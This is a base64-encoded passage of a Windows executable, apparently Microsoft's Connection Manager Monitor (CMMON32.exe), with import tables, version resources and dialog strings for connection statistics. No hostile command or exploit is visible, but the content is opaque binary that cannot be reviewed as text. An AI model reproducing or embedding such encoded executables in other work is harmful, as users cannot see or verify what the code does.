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 AP5SAADyUQAA/lMAABBUAAAkVAAANFQAAE5UAABkVAAAelQAAIxUAACiVAAAvFQAAMpUAADcVAAA 6FQAAPhUAAAMVQAAKFUAADZVAABEVQAAWFUAAGZVAAByVQAAflUAAIxVAACYVQAAGlIAAAZSAADa UwAA4FEAAOxTAACaUgAAfFIAAAAAAAA+VwAAZlYAAIpWAACgVgAAslYAAMZWAADgVgAA7FYAAPpW AAAIVwAAFFcAACJXAAAuVwAASlYAAExXAABWVwAAYlcAACxWAAAaVgAA8lUAANhVAADIVQAAvFUA ALJVAAAAAAAA6wBHZXRVc2VyTmFtZUEAAHkBUmVnQ2xvc2VLZXkAkQFSZWdPcGVuS2V5RXhBAJsB UmVnUXVlcnlWYWx1ZUV4QQAAQURWQVBJMzIuZGxsAAA6A2xzdHJjcHluQQCGAUdldFRpY2tDb3Vu dAAAwwBGcmVlTGlicmFyeQAeAENsb3NlSGFuZGxlAE0AQ3JlYXRlVGhyZWFkAACnAlNldFByb2Nl c3NXb3JraW5nU2V0U2l6ZQAADAFHZXRDdXJyZW50VGhyZWFkSWQAAFMBR2V0UHJvY0FkZHJlc3MA AN8BTG9hZExpYnJhcnlBAAAeAUdldEV4aXRDb2RlUHJvY2VzcwAAwwJTbGVlcAA0AENyZWF0ZUV2 ZW50QQAAjABFeGl0UHJvY2VzcwA6AUdldE1vZHVsZUhhbmRsZUEAAI8CU2V0RXZlbnQAAAUCT3Bl bkV2ZW50QQAANANsc3RyY21waUEADgJPcGVuUHJvY2VzcwAKAUdldEN1cnJlbnRQcm9jZXNzSWQA PQNsc3RybGVuQQAAQQFHZXROdW1iZXJGb3JtYXRBAAAwAUdldExvY2FsZUluZm9BAABjAERldmlj ZUlvQ29udHJvbADpAUxvY2FsRnJlZQDlAUxvY2FsQWxsb2MAAC0BR2V0TGFzdEVycm9yAAADA1dh aXRGb3JTaW5nbGVPYmplY3QABwNXaWRlQ2hhclRvTXVsdGlCeXRlAMkAR2V0QUNQAAA+A2xzdHJs ZW5XAADyAUxvY2tSZXNvdXJjZQAA5AFMb2FkUmVzb3VyY2UAALIARmluZFJlc291cmNlQQDgAUxv YWRMaWJyYXJ5RXhBAABLRVJORUwzMi5kbGwAAFQARGVsZXRlT2JqZWN0AABHREkzMi5kbGwAGAJT ZW5kTWVzc2FnZUEAAM8BTXNnV2FpdEZvck11bHRpcGxlT2JqZWN0cwCWAUlzV2luZG93VmlzaWJs ZQCXAERpc3BhdGNoTWVzc2FnZUEAAIcCVHJhbnNsYXRlTWVzc2FnZQAAjAFJc0RpYWxvZ01lc3Nh Z2VBAADhAVBlZWtNZXNzYWdlQQAADgBCcmluZ1dpbmRvd1RvVG9wAABvAlNob3dXaW5kb3cAAJAA RGVzdHJveVdpbmRvdwCTAUlzV2luZG93AAAtAUdldE1lc3NhZ2VBAOMBUG9zdE1lc3NhZ2VBAACB AlRyYWNrUG9wdXBNZW51AAA0AlNldEZvcmVncm91bmRXaW5kb3cA/wBHZXRDdXJzb3JQb3MAABwB R2V0TGFzdEFjdGl2ZVBvcHVwAADmAVBvc3RUaHJlYWRNZXNzYWdlQQAAYAJTZXRXaW5kb3dQb3MA AHYCU3lzdGVtUGFyYW1ldGVyc0luZm9BAGABR2V0V2luZG93UmVjdAAEAUdldERsZ0N0cmxJRAAA rQJXaW5IZWxwQQAAOABDaGlsZFdpbmRvd0Zyb21Qb2ludEV4AAAOAlNjcmVlblRvQ2xpZW50AABa AUdldFdpbmRvd0xvbmdBAABdAlNldFdpbmRvd0xvbmdBAAA+AENsb3NlRGVza3RvcAAAQABDbG9z ZVdpbmRvd1N0YXRpb24AAFoAQ3JlYXRlV2luZG93RXhBAPYBUmVnaXN0ZXJDbGFzc0EAAIYARGVm V2luZG93UHJvY0EAAOUBUG9zdFF1aXRNZXNzYWdlAFYCU2V0VGhyZWFkRGVza3RvcAAA2QFPcGVu RGVza3RvcEEAAEUCU2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24A3QFPcGVuV2luZG93U3RhdGlvbkEA ABMCU2VuZERsZ0l0ZW1NZXNzYWdlQQAwAlNldERsZ0l0ZW1UZXh0QQBQAENyZWF0ZURpYWxvZ1Bh cmFtQQAABAJSZWdpc3RlcldpbmRvd01lc3NhZ2VBAAAFAUdldERsZ0l0ZW0AAGMCU2V0V2luZG93 VGV4dEEAADgBR2V0UGFyZW50ANgARmluZFdpbmRvd0V4QQDPAEVudW1UaHJlYWRXaW5kb3dzAGYB R2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkAACPAERlc3Ryb3lNZW51AHgBSW5zZXJ0TWVudUEAJQFH ZXRNZW51SXRlbUNvdW50AABFAUdldFN1Yk1lbnUAAKoBTG9hZE1lbnVBALMCd3NwcmludGZBANcA RmluZFdpbmRvd0EAJQBDaGFyTmV4dEEALwBDaGFyVXBwZXJBAABVU0VSMzIuZGxsAAAkAENtRnJl ZQAAKwBDbU1hbGxvYwAAPABHZXRPU1ZlcnNpb24AAAsAP0dQUElAQ0luaUBAUUJFS1BCRDBLQFoA AAA/PzBDSW5pQEBRQUVAUEFVSElOU1RBTkNFX19AQFBCRDExQFoAAAMAPz8xQ0luaUBAUUFFQFha ACAAQ21CdWlsZEZ1bGxQYXRoRnJvbVJlbGF0aXZlAAwAP0dQUFNAQ0luaUBAUUJFUEFEUEJEMDBA WgAIAD9DSW5pX1NldEZpbGVAQ0luaUBAS0dYUEFQQURQQkRAWgAJAD9DbGVhckBDSW5pQEBRQUVY WFoAKQBDbUxvYWRTbWFsbEljb24AOwBHZXRPU01ham9yVmVyc2lvbgAKAD9HUFBCQENJbmlAQFFC RUhQQkQwSEBaACMAQ21GbXRNc2cAAC0AQ21QYXJzZVBhdGgAJwBDbUxvYWRJY29uAAAwAENtU3Ry Q3B5AAA/AFVwZGF0ZUZvbnQAAD4ATWFrZUJvbGQAACoAQ21Mb2FkU3RyaW5nAAAlAENtSXNEaWdp dEEAAB8AQ21BdG9sQQAvAENtU3RyQ2F0AAA1AENtU3RyY2hyQQBjbXV0aWwuZGxsAADfAlVubWFw Vmlld09mRmlsZQAxA2xzdHJjbXBBAAD0AU1hcFZpZXdPZkZpbGUACAJPcGVuRmlsZU1hcHBpbmdB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAMAAABAAACABAAAAFgAAIAFAAAAcAAAgAYAAACYAACA DgAAANAAAIAQAAAA6AAAgAAAAAAAAAAAAAAAAAAAAQABAAAAAAEAgAAAAAAAAAAAAAAAAAAAAQB4 AAAAGAEAgAAAAAAAAAAAAAAAAAAAAwBoAAAAMAEAgGkAAABIAQCAewAAAGABAIAAAAAAAAAAAAAA AAAAAAUAswIAAHgBAIC0AgAAkAEAgLUCAACoAQCAtgIAAMABAIC9AgAA2AEAgAAAAAAAAAAAAAAA AAAAAQBlAAAA8AEAgAAAAAAAAAAAAAAAAAAAAQABAAAACAIAgAAAAAAAAAAAAAAAAAAAAQAJBAAA IAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAMAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAQAIAAAAAAAAA AAAAAAAAAAAAAQAJBAAAUAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAcAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAgAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAkAIA AAAAAAAAAAAAAAAAAAAAAQAJBAAAoAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAsAIAAAAAAAAAAAAA AAAAAAAAAQAJBAAAwAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAA0AIAAKB9AADoAgAAAAAAAAAAAABY fQAARgAAAAAAAAAAAAAAOHYAADADAAAAAAAAAAAAAGh5AAAGAwAAAAAAAAAAAABwfAAA5gAAAAAA AAAAAAAAoIAAAEgAAAAAAAAAAAAAACiBAABAAgAAAAAAAAAAAABogwAAqAQAAAAAAAAAAAAAEIgA APIBAAAAAAAAAAAAAOiAAAA+AAAAAAAAAAAAAACIgAAAFAAAAAAAAAAAAAAA4HIAAFQDAAAAAAAA AAAAAFT5NAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAABwAB ANgHAAAHAAEA2Ac/AAAAAAAAAAQABAACAAAAAAAAAAAAAAAAAAAAtAIAAAEAUwB0AHIAaQBuAGcA RgBpAGwAZQBJAG4AZgBvAAAAkAIAAAEAMAA0ADAAOQAwADQAQgAwAAAATAAWAAEAQwBvAG0AcABh AG4AeQBOAGEAbQBlAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEMAbwByAHAAbwByAGEAdABpAG8A bgAAAHIAJQABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABNAGkAYwByAG8AcwBv AGYAdAAgAEMAbwBuAG4AZQBjAHQAaQBvAG4AIABNAGEAbgBhAGcAZQByACAATQBvAG4AaQB0AG8A cgAAAAAAOAAMAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAA3AC4AMAAwAC4AMgAwADAAOAAu ADEAAAAwAAgAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMATQBNAE8ATgAzADIAAAB0ACgA AQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgACgAQwAp ACAATQBpAGMAcgBvAHMAbwBmAHQAIABDAG8AcgBwAC4AIAAxADkAOAAxAC0AMQA5ADkAOQAAAEAA DAABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABDAE0ATQBPAE4AMwAyAC4AZQB4 AGUAAABgACAAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACgA UgApACAAQwBvAG4AbgBlAGMAdABpAG8AbgAgAE0AYQBuAGEAZwBlAHIAAAA8AAwAAQBQAHIAbwBk AHUAYwB0AFYAZQByAHMAaQBvAG4AAAA3AC4AMAAwAC4AMgAwADAAOAAuADEAAABEAAAAAQBWAGEA cgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAACQSw BAAAAAABAP//AAAAAAAEBADACciADQAAAAAAygBWAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAAAAgA AAAAAU0AUwAgAFMAaABlAGwAbAAgAEQAbABnAAAAAAAAAAAAAAAAAAMAAFAIAAgAFAAUAA4EAAD/ /4IA//9lAAAAAAAAAAAAAAAAAAAAAlAtAAoANgAIAC0EAAD//4IAQwBhAGwAbAAgAGQAdQByAGEA dABpAG8AbgA6AAAAAAAAAAAAAAAAAAAAAlBnAAoANgAIAA8EAAD//4IAAAAAAAAAAAAAAAAAAAAC UC0AFAA2AAgALgQAAP//ggBDAG8AbgBuAGUAYwB0ACAAcwBwAGUAZQBkADoAAAAAAAAAAAAAAAAA AAACUGcAFAA2AAgAEAQAAP//ggAAAAAAAAAAAAAAAAAAAAJQLQAeADYACAAvBAAA//+CAEIAeQB0 AGUAcwAgAHIAZQBjAGUAaQB2AGUAZAA6AAAAAAAAAAAAAAAAAAAAAAACUGcAHgBXAAgAEQQAAP// ggAAAAAAAAAAAAAAAAAAAAJQLQAoADYACAAwBAAA//+CAEIAeQB0AGUAcwAgAHMAZQBuAHQAOgAA AAAAAAAAAAAAAAAAAAAAAlBnACgAVwAIABIEAAD//4IAAAAAAAAAAAAAAAAAAQACUAgAMgDCAAgA FAQAAP//ggAAAAAAAAAAAAAAAAABAAFQLQBAADgADgABAAAA//+AAE8ASwAAAAAAAAAAAAAAAAAA AAFQagBAADoADgATBAAA//+AACYARABpAHMAYwBvAG4AbgBlAGMAdAAAAAAAAAAAAAAAAAAAAAAA AkAtABMAmAAeABUEAAD//4IACgBZAG8AdQAgAGEAcgBlACAAYQBiAG8AdQB0ACAAdABvACAAYgBl ACAAZABpAHMAYwBvAG4AbgBlAGMAdABlAGQALgAgAFAAcgBlAHMAcwAgAHQAaABlACAAIgBTAHQA YQB5ACAATwBuAGwAaQBuAGUAIgAgAGIAdQB0AHQAbwBuACAAdABvACAAcgBlAG0AYQBpAG4AIABj AG8AbgBuAGUAYwB0AGUAZAAuAAAAAAABAP//AAAAAAAEBADACciACQAAAAAAygBCAAAAAABDAG8A bgBuAGUAYwB0AGUAZAAAAAgAAAAAAU0AUwAgAFMAaABlAGwAbAAgAEQAbABnAAAAAAAAAAAAAAAA AAMAAFAIAAgAFAAUAA4EAAD//4IA//9lAAAAAAAAAAAAAAAAAAAAAlAtAAoAOAAIAC0EAAD//4IA 